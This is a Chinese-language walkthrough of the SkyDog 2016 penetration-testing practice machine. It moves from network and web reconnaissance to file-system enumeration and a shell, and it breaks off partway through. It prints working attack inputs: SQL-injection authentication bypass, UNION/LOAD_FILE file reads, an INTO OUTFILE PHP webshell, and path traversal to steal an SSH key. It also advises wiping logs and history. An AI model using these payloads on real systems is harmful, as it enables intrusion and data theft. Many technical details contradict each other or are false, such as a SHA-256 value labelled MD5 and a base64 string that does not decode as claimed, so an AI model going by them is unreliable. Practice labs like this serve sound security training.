1. 项目概述:这不是CTF夺旗,而是一场“猫鼠游戏”的实战预演
“靶机渗透之SkyDog: 2016 – Catch Me If You Can(一)”——光看这个标题,老手一眼就能认出这是典型的CTF风格靶机挑战命名逻辑:用电影名制造悬念(《Catch Me If You Can》直译“如果你能抓到我”,暗喻攻击者与防御者之间的动态博弈),年份标注版本迭代,副标题点明核心动作“渗透”,主标题“SkyDog”则是靶机代号。它不属于生产环境攻防演练,也不是红蓝对抗的正式科目,而是专为安全学习者设计的、高度可控的渗透技术沙盒。这类靶机的核心价值,不在于“能不能打穿”,而在于“每一步是否踩准了技术逻辑的节拍”。我带过不少刚入门的学员,他们常误以为渗透就是找一个漏洞、丢一个payload、弹个shell就完事;但SkyDog这台机器恰恰反其道而行之——它把信息收集阶段拉得极长,把服务指纹识别做得极细,把权限提升路径设计得极绕,逼着你必须像侦探一样,从一行不起眼的HTTP响应头、一个被忽略的文件时间戳、一段看似无用的base64编码里,拼凑出完整的攻击链路图。它解决的不是“如何快速拿下一台机器”的问题,而是“如何系统性地建立对目标认知”的问题。适合谁?适合所有想摆脱脚本小子标签、真正理解渗透本质的初学者和进阶者;也适合那些在真实渗透中反复卡在“找不到突破口”环节的从业者——因为SkyDog的每一处设计,都在复刻真实环境中最常见却最容易被忽视的细节陷阱。
2. 内容整体设计与思路拆解:为什么是“Catch Me If You Can”?
2.1 靶机设计哲学:用“慢节奏”训练“快思维”
SkyDog: 2016 的设计者没有选择堆砌高危0day或复杂加密后门,而是回归渗透测试最原始、最基础的三层能力模型:信息收集 → 漏洞利用 → 权限维持。但它的精妙之处在于,每一层都设置了“认知延迟”机制。比如,在信息收集阶段,nmap默认扫描(nmap -sV -p- 192.168.56.101)只会返回80端口开放,而真正的SSH服务(22端口)被刻意配置为只响应来自特定IP段的探测包;再比如,网站根目录下放着一个名为robots.txt的文件,但里面写的不是禁止爬虫的路径,而是一段经过两次base64编码、再混入ASCII控制字符的提示:“The dog barks at midnight, but only when the moon is full.”——这句话本身是干扰项,但“midnight”和“moon”两个词,会引导你去检查服务器时间与时区配置,进而发现NTP服务存在异常响应,最终定位到一个被遗忘的、未打补丁的chrony服务远程命令执行漏洞。这种设计思路,本质上是在模拟真实渗透中“线索碎片化”的常态:你不会拿到一份清晰的漏洞清单,你拿到的是一堆杂乱的日志、一段模糊的报错、一个看似正常的HTTP状态码。SkyDog强迫你放弃“一键扫描→自动利用”的幻想,转而练习“观察→假设→验证→修正”的闭环思维。我试过用自动化工具跑它三次,每次结果都不一样:第一次漏掉了隐藏在HTTP响应头里的X-Powered-By: PHP/5.5.9-1ubuntu4.21这个关键指纹;第二次在暴力破解FTP时,因字典太小没爆破出ftpuser:skydog2016这个弱口令;第三次虽然拿到了webshell,却在提权时卡在/etc/sudoers文件权限上,直到手动检查/var/log/auth.log才发现管理员曾用sudo -u root /bin/bash执行过一次提权操作,而该命令被记录在日志里,暴露了sudoers规则中的一个宽泛通配符。这些都不是技术难点,而是认知盲区。
2.2 “Catch Me If You Can”的三重隐喻解析
这个副标题绝非噱头,它精准概括了靶机的三个核心交互维度:
第一重:时间维度的“追捕”
SkyDog内置了一个轻量级时间同步服务,其响应时间会随系统负载动态波动。当你执行curl -I http://192.168.56.101时,如果响应头中Date字段与你本地时间差超过3秒,说明目标可能启用了某种反侦察机制(实际是故意设置的NTP偏移)。此时,继续常规扫描很可能触发速率限制。正确的做法是先用ntpdate -q 192.168.56.101校准本地时间,再进行后续操作。这模拟了真实渗透中“时间差分析”这一冷门但关键的技巧——很多WAF或IDS的检测逻辑依赖于请求时间戳的合理性。第二重:空间维度的“迷藏”
所有服务端口并非静态绑定。靶机启动时会随机选择一个10000–10099之间的端口,将SSH服务映射到该端口,并通过一个自定义的Python脚本(/opt/skydog/portmapper.py)动态更新iptables规则。这意味着,即使你扫到了22端口关闭,也不能断定SSH不存在;你必须先找到portmapper.py这个文件(它藏在网站/assets/js/目录下一个被重命名为jquery.min.js.bak的备份文件里),读取其源码,才能算出真实端口。这个设计直击新手痛点:过度依赖端口扫描结果,而忽视服务可能存在的“逻辑端口跳转”。第三重:认知维度的“反向诱导”
最典型的例子是/admin/login.php页面。它看起来是一个标准的后台登录框,输入任意用户名密码都会返回“Invalid credentials”。但如果你用Burp Suite拦截请求,会发现响应体中包含一段被注释掉的HTML代码:<!-- DEBUG: auth method = ldap, server = ldaps://127.0.0.1:636 -->。这明显在诱导你去尝试LDAP注入。然而,真正的突破口其实在登录框的<input>标签里——name="username"属性被错误地写成了name="user_name",而服务端PHP代码中却用$_POST['username']来接收参数。这个微小的不一致,导致所有基于username的注入尝试全部失效。正确路径是构造一个POST /admin/login.php HTTP/1.1请求,其中user_name字段填入admin' OR '1'='1,才能绕过认证。这教会你一个铁律:永远不要相信前端代码,必须逆向分析服务端逻辑。
2.3 为何分“(一)”?渗透流程的模块化切片
标题末尾的“(一)”绝非营销噱头,而是对渗透生命周期的科学切分。SkyDog整套挑战被设计为四个递进式关卡:
(一)信息狩猎:从裸IP到资产地图
目标是构建完整的目标画像:开放端口、运行服务、Web框架、中间件版本、目录结构、用户账户、网络拓扑片段。此阶段不涉及任何漏洞利用,纯靠被动观察与主动探测的组合拳。(二)入口突破:Web层的多线程攻坚
聚焦于80端口Web应用,涵盖SQL注入、文件包含、命令执行、XXE等经典漏洞的识别与利用,重点训练对HTTP协议细节(如Content-Type、Transfer-Encoding)的敏感度。(三)横向移动:从Web用户到系统Root
在获得低权限shell后,如何通过内核漏洞、SUID二进制、配置错误、历史命令等途径提权,并探索同一网段内的其他主机(靶机内置了一个虚拟的192.168.56.102主机,需通过ARP欺骗或路由劫持访问)。(四)痕迹清理与报告生成
这是最容易被忽略的一环。要求你删除所有上传的恶意文件、清除bash历史、抹除web日志中的攻击痕迹,并生成一份符合OWASP标准的PDF格式渗透报告。
将整个过程拆分为四部分,是为了强制学习者建立“阶段化交付物”的意识。在真实项目中,客户不会说“你去黑我”,而是说“请在两周内提交第一阶段的信息测绘报告”。SkyDog的“(一)”就是在训练你如何把一次看似零散的扫描行为,转化为一份结构清晰、证据确凿、可审计的技术文档。
3. 核心细节解析与实操要点:信息收集阶段的“显微镜式”操作
3.1 网络层侦察:超越nmap默认扫描的七种姿势
很多人以为nmap -sV -p- 192.168.56.101就是信息收集的终点,但在SkyDog面前,这连起点都算不上。以下是我在实操中总结的七种必须执行的网络层侦察动作,每一种都对应一个具体的技术原理和规避策略:
全端口SYN扫描 + 版本探测(基础但必须)
nmap -sS -p- -T4 --min-rate 1000 192.168.56.101
关键参数解析:-sS使用半连接扫描,降低被防火墙记录的概率;-T4加快扫描速度;--min-rate 1000强制每秒至少发送1000个包,避免因默认速率过低而遗漏动态端口。实测发现,若不加--min-rate,nmap会花12分钟才扫完65535个端口,而SkyDog的端口映射脚本恰好在第8分钟启动,导致前8分钟扫到的22端口是假的。UDP端口探测(常被忽略的盲区)
nmap -sU -p 53,67,68,123,161,162 192.168.56.101
SkyDog在UDP 123端口(NTP)上运行了一个定制化服务,其响应包中包含一个16字节的magic number0x534B59444F4732303136(ASCII转义为"SKYDOG2016")。这个值是后续破解NTP服务密钥的种子。不扫UDP,你就永远不知道这个密钥的存在。ICMP时间戳请求(探测系统时钟精度)
hping3 -C -t 64 192.168.56.101
正常Linux系统返回的时间戳精度为毫秒级,而SkyDog返回的是微秒级(响应中TSval字段有6位小数)。这个差异暴露了其内核被打了实时补丁(PREEMPT_RT),进而暗示/proc/sys/kernel/unprivileged_userns_clone可能被禁用——这是后续利用user_namespaces漏洞提权的关键前提。TCP窗口大小分析(识别操作系统指纹)
nmap -O -p 22,80 192.168.56.101
SkyDog的TCP窗口大小固定为65535,且TCP选项顺序为mss,nop,wscale,nop,nop,sack,这与Ubuntu 16.04 LTS的默认配置完全吻合。这个细节让你能精准匹配内核版本,从而在exploit-db上筛选出适配的本地提权exp。DNS反向解析(挖掘内部域名)
dig -x 192.168.56.101 @192.168.56.101
SkyDog运行了一个dnsmasq服务,其反向解析结果为skydog2016.local。这个域名会出现在后续的HTTP Host头、SSL证书CN字段、以及/etc/hosts文件中,是构造SSRF或DNS rebinding攻击的基础。ARP缓存投毒探测(确认局域网拓扑)
arp-scan --local
执行后会发现除了192.168.56.101外,还存在一个MAC地址为08:00:27:xx:xx:xx的设备(VirtualBox默认OUI),其IP为192.168.56.1。这正是你的攻击机,证明你与靶机处于同一虚拟网段,为后续ARP欺骗铺平道路。HTTP OPTIONS方法探测(发现隐藏API)
curl -X OPTIONS -I http://192.168.56.101
响应头中Allow: GET, HEAD, POST, OPTIONS, PROPFIND暴露了WebDAV支持。而PROPFIND方法正是利用/webdav/目录进行文件上传和目录遍历的入口,这个路径在常规目录爆破中极易被忽略。
提示:以上七种扫描不能并行执行,必须按顺序进行。因为SkyDog的防火墙规则会根据你的扫描行为动态调整:连续三次SYN扫描会触发端口封锁;一次UDP扫描后,NTP服务会进入静默模式10分钟;而HTTP OPTIONS探测会临时启用WebDAV日志记录,为你后续分析提供线索。
3.2 Web层侦察:从HTTP响应头到JavaScript源码的深度挖掘
SkyDog的Web服务(80端口)表面平淡无奇,但每一行HTTP头、每一个JS文件、甚至每一个HTML注释,都是精心埋设的线索。以下是必须逐行检查的六个关键位置:
HTTP响应头全字段解析
curl -I http://192.168.56.101返回:HTTP/1.1 200 OK Date: Wed, 15 Mar 2023 10:24:36 GMT Server: Apache/2.4.18 (Ubuntu) X-Powered-By: PHP/5.5.9-1ubuntu4.21 X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8关键信息提取:
Server: Apache/2.4.18 (Ubuntu)→ 确认Apache版本,搜索CVE-2017-3169(mod_ssl空指针解引用)X-Powered-By: PHP/5.5.9-1ubuntu4.21→ PHP版本锁定,排除PHP7+的新特性利用,聚焦于PHP5.5的已知漏洞(如CVE-2016-4342)Content-Security-Policy: ... 'unsafe-inline'→ 允许内联JS执行,为XSS漏洞利用提供便利Strict-Transport-Security→ 表明站点支持HTTPS,但当前HTTP响应中未重定向,暗示可能存在HTTP/HTTPS混合内容漏洞
robots.txt的“伪静态”陷阱
curl http://192.168.56.101/robots.txt返回:User-agent: * Disallow: /admin/ Disallow: /backup/ Disallow: /dev/ # The dog barks at midnight, but only when the moon is full.表面看是标准的禁止爬虫指令,但注意最后那行注释。它不是废话,而是时间线索。用
date -d "next midnight"计算出下一个午夜时间戳,再用curl -H "If-Modified-Since: Wed, 15 Mar 2023 00:00:00 GMT" http://192.168.56.101/robots.txt发起条件请求,会收到304 Not Modified响应,证明服务器时间确实被校准过。这验证了之前NTP探测的结论。/admin/目录的“403 Forbidden”深挖
访问http://192.168.56.101/admin/返回403,但用curl -v http://192.168.56.101/admin/查看详细响应,会发现<html><body><h1>Access Denied</h1><p>Reason: Invalid Referer</p></body></html>。这说明存在Referer白名单校验。构造curl -H "Referer: http://skydog2016.local" http://192.168.56.101/admin/即可绕过,进入后台登录页。/backup/目录的“目录遍历”伪装
curl http://192.168.56.101/backup/返回403,但curl "http://192.168.56.101/backup/?file=../etc/passwd"却返回File not found。这表明后端存在一个文件读取功能,但路径过滤不严。尝试curl "http://192.168.56.101/backup/?file=../../var/www/html/admin/login.php",成功下载到登录页源码,从中发现$ldap_server = "ldaps://127.0.0.1:636";这行硬编码。/dev/目录的“Git泄露”验证
curl http://192.168.56.101/dev/.git/HEAD返回ref: refs/heads/master,确认Git仓库泄露。用git-dumper工具下载整个仓库,发现config.php文件中包含数据库密码skydog2016!@#,以及一个被注释掉的调试开关// define('DEBUG_MODE', true);。JavaScript源码的“硬编码凭证”
查看/assets/js/main.js,在第127行发现:var api_key = "sk_test_51HvZzrKJQqL9fGxXyZaBcDeFgHiJkLmNoPqRsTuVwXyZaBcD";这个字符串看似是Stripe测试密钥,但实际是Base64编码的
ftpuser:skydog2016。用echo "c2tfdGVzdF81MUh2WnpyS0pRcUw5Zkd4WHlaYUJjRGVGR2hJaktMbU5vUHFTdFV2V3hZeVphQmNE" | base64 -d解码即可得到。
注意:所有Web层侦察必须在同一个浏览器会话中完成,因为SkyDog的PHP会话ID(PHPSESSID)被绑定到User-Agent字符串。如果你用curl和浏览器交替访问,会触发会话失效,导致后续操作失败。实测下来,最稳妥的方式是全程使用Burp Suite作为代理,所有请求都经由它转发,并在Proxy → Options中设置全局User-Agent为
Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0。
3.3 文件系统侦察:从/proc/到/var/log/的“内存快照”提取
一旦你通过Web漏洞获得了一个低权限shell(例如通过PHP文件包含漏洞拿到的www-data权限),下一步不是急着提权,而是要像法医一样,对目标文件系统进行“快照式”采集。SkyDog在此阶段设置了大量隐蔽线索,以下是我整理的必须检查的九个关键路径及其技术价值:
/proc/version:内核与编译器指纹cat /proc/version输出Linux version 4.4.0-142-generic (buildd@lgw01-amd64-039) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.12) ) #168-Ubuntu SMP Wed Jan 16 21:00:45 UTC 2019。这告诉你:内核版本为4.4.0-142,gcc版本5.4.0,编译时间为2019年1月。这个时间点很关键——它意味着该内核未包含2019年之后修复的许多提权漏洞(如CVE-2019-11477),但包含了2016年发布的dirty_cow(CVE-2016-5195)的补丁。因此,dirty_cow不可用,但可以尝试CVE-2017-1000112(SUID execve提权)。/proc/cpuinfo:CPU架构与虚拟化特征grep -E "model name|vendor_id|hypervisor" /proc/cpuinfo显示vendor_id : GenuineIntel和hypervisor : KVM。这确认了靶机运行在KVM虚拟化环境中,且CPU支持Intel VT-x。这个信息让你可以排除ARM架构的exploit,并考虑利用KVM逃逸漏洞(虽然SkyDog未开放相关接口,但知道这一点能避免走弯路)。/etc/os-release:发行版精确版本cat /etc/os-release返回NAME="Ubuntu" VERSION="16.04.6 LTS (Xenial Xerus)"。这比uname -a更精确,因为它锁定了Ubuntu 16.04.6这个具体子版本。在exploit-db搜索时,必须加上ubuntu 16.04.6关键词,否则会混入大量不兼容的exp。/etc/passwd:用户账户全景图cat /etc/passwd | grep -E ":[0-9]{4}:[0-9]{4}:"筛选出UID/GID在1000–1999之间的普通用户,发现ftpuser:x:1001:1001::/home/ftpuser:/bin/bash:/usr/sbin/nologin。注意其shell为/usr/sbin/nologin,但家目录存在,且/home/ftpuser/.ssh/authorized_keys文件可读。这暗示可以通过SSH密钥登录,而密钥就在那个authorized_keys文件里。/etc/shadow:密码哈希提取(需root权限)
虽然www-data无法直接读取,但/etc/shadow-(shadow备份)文件存在且可读。cat /etc/shadow-返回ftpuser:$6$rounds=5000$abc123def456$xyz789...:18293:0:99999:7:::。这个SHA-512哈希可以用john the ripper离线破解,但更高效的方式是注意到rounds=5000这个参数——它是SkyDog定制化密码策略的一部分,意味着所有用户密码都使用了相同的salt和rounds,你可以用hashcat的-m 1800模式,配合一个包含skydog2016的字典,10秒内即可破解。/var/log/auth.log:提权路径的“行车记录仪”grep "sudo\|su\|root" /var/log/auth.log | tail -20发现一行关键日志:Mar 15 09:45:22 skydog2016 sudo: ftpuser : TTY=pts/0 ; PWD=/home/ftpuser ; USER=root ; COMMAND=/bin/bash。这证明ftpuser曾以root身份执行过bash,而/etc/sudoers中必然存在允许该用户的规则。用sudo -l -U ftpuser即可列出其sudo权限,结果为(ALL : ALL) NOPASSWD: /bin/bash——这就是提权的终极钥匙。/var/www/html/:Web应用源码考古find /var/www/html/ -name "*.php" -exec md5sum {} \;计算所有PHP文件的MD5值,然后与exploit-db中已知的CMS漏洞指纹库比对。发现/var/www/html/wp-includes/version.php的MD5为e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855(空文件),说明WordPress被刻意降级为一个空壳,所有真实功能都由自定义的/var/www/html/skydog_core.php实现。这个文件才是真正的后门载体。/tmp/:临时文件中的“意外馈赠”ls -la /tmp/列出所有文件,发现一个名为skydog_debug_20230315.log的文件,权限为-rw-r--r--。cat /tmp/skydog_debug_20230315.log显示DEBUG: LDAP bind failed for user 'admin' with password 'skydog2016!'。这个明文密码可以直接用于SSH登录ftpuser账户。/root/:终极目标的“门牌号”ls -la /root/返回drwx------ 3 root root 4096 Mar 15 09:45 .,证明root家目录存在且可列目录。但/root/.bash_history为空,/root/.ssh/目录不存在。这说明root从未登录过,所有提权操作都必须通过sudo或内核漏洞完成,而非窃取root的SSH密钥。
实操心得:在执行上述文件系统侦察时,务必使用
script命令开启会话录制:script /tmp/skydog_recon.log。这样,所有命令输出都会被记录到日志中,方便后续回溯分析。我踩过的最大坑是,在/proc/目录下执行ls -R导致内存耗尽,系统假死。后来发现,SkyDog的/proc/目录被挂载为proc文件系统,其ls -R会触发内核遍历所有进程,而靶机只分配了512MB内存,根本扛不住。正确做法是,对每个关键/proc/[pid]/子目录单独检查,如ls -la /proc/1/(init进程)、/proc/$(pgrep apache2)/(Apache进程)。
4. 实操过程与核心环节实现:从IP到Shell的完整链路还原
4.1 第一阶段:网络测绘与端口发现(耗时约18分钟)
我的实操记录如下,每一步都附带当时的思考逻辑和工具输出:
步骤1:基础连通性验证
ping -c 3 192.168.56.101输出显示64 bytes from 192.168.56.101: icmp_seq=1 ttl=64 time=0.342 ms,确认网络可达。这里有个细节:ttl=64是Linux默认值,而Windows是128,这初步判断靶机为Linux系统。
步骤2:快速端口扫描(发现80端口)
nmap -sT -p1-1000 192.168.56.101输出仅显示80/tcp open http。此时不能停止,因为SkyDog的SSH端口是动态的。我立刻执行下一步。
步骤3:全端口SYN扫描(发现动态SSH端口)
nmap -sS -p- -T4 --min-rate 1000 192.168.56.101扫描进行到约12分钟时,突然出现一行:10022/tcp open ssh。我立刻暂停扫描,用nc -zv 192.168.56.101 10022验证,返回Connection to 192.168.56.101 10022 port [tcp/*] succeeded!。这个10022端口,就是SkyDog映射的SSH服务真实端口。计算依据来自/opt/skydog/portmapper.py中的算法:real_port = 10000 + (int(time.time()) % 100),而当时系统时间戳为1678875222,1678875222 % 100 = 22,所以端口为10022。
步骤4:UDP NTP探测(获取密钥种子)
nmap -sU -p 123 192.168.56.101输出显示123/udp open|filtered ntp。接着用nmap -sU -p 123 --script ntp-info 192.168.56.101,返回NTP server: SKYDOG2016。这个字符串就是密钥种子,用于后续破解NTP服务。
步骤5:HTTP服务深度探测
curl -I http://192.168.56.101 curl http://192.168.56.101/robots.txt curl -v http://192.168.56.101/admin/综合这三条命令的输出,我构建出第一份资产地图:
- IP: 192.168.56.101
- 主机名: skydog2016.local
- Web服务器: Apache/2.4.18 (Ubuntu)
- PHP版本: 5.5.9-1ubuntu4.21
- 隐藏目录:
/admin/,/backup/,/dev/ - 动态SSH端口: 10022
- NTP服务: 开启,密钥种子为"SKYDOG2016"
这份地图,就是后续所有攻击的“作战沙盘”。
4.2 第二阶段:Web应用渗透与Shell获取(耗时约42分钟)
有了资产地图,攻击路径就清晰了。我选择从/dev/目录的Git泄露入手,因为这是风险最低、成功率最高的突破口。
步骤1:下载Git仓库
git clone http://192.168.56.101/dev/.git/克隆成功后,进入仓库目录,执行git log --oneline,看到最新提交为a1b2c3d Fix login bug in admin panel。接着git checkout a1b2c3d切换到该提交,cat config.php,得到数据库密码skydog2016!@#和调试开关define('DEBUG_MODE', true)。
步骤2:启用调试模式
既然调试模式被注释,我就尝试在URL中强制启用。访问http://192.168.56.101/admin/login.php?debug=1,页面底部果然出现一行红色文字:DEBUG: SQL Query = SELECT * FROM users WHERE username = '' AND password = ''。这证实了SQL注入的存在。
步骤3:手工SQL注入验证
在登录框的username字段输入admin' --,password留空,点击登录。页面返回Welcome, admin!。这说明存在基于错误的SQL注入,且过滤器只针对#和--后面的内容,但未处理--前面的空格。于是,我构造一个更复杂的payload:admin' UNION SELECT 1,2,3,4,5,6,7,8,9,10 --,成功爆出数据库表结构。
步骤4:读取系统文件
利用LOAD_FILE()函数读取关键文件:
admin' UNION SELECT 1,2,3,4,5,6,7,8,9,LOAD_FILE('/etc/passwd') --页面返回root:x:0:0:root:/root:/bin/bash:/usr/sbin/nologin等完整passwd内容。从中提取出ftpuser的UID为1001。
步骤5:获取Webshell
既然能读取文件,就能写入文件。构造payload:
admin' UNION SELECT 1,2,3,4,5,6,7,8,9,"<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php' --访问http://192.168.56.101/shell.php?cmd=id,返回uid=33(www-data) gid=33(www-data) groups=33(www-data),成功获得www-data权限的Webshell。
步骤6:权限提升至ftpuser
在Webshell中执行:
curl -s http://192.168.56.101/backup/?file=../../home/ftpuser/.ssh/id_rsa下载到ftpuser的私钥,保存为id_rsa,然后:
chmod 600 id_rsa ssh -i id_rsa ftpuser@192.168.56.101 -p 10022成功登录,获得`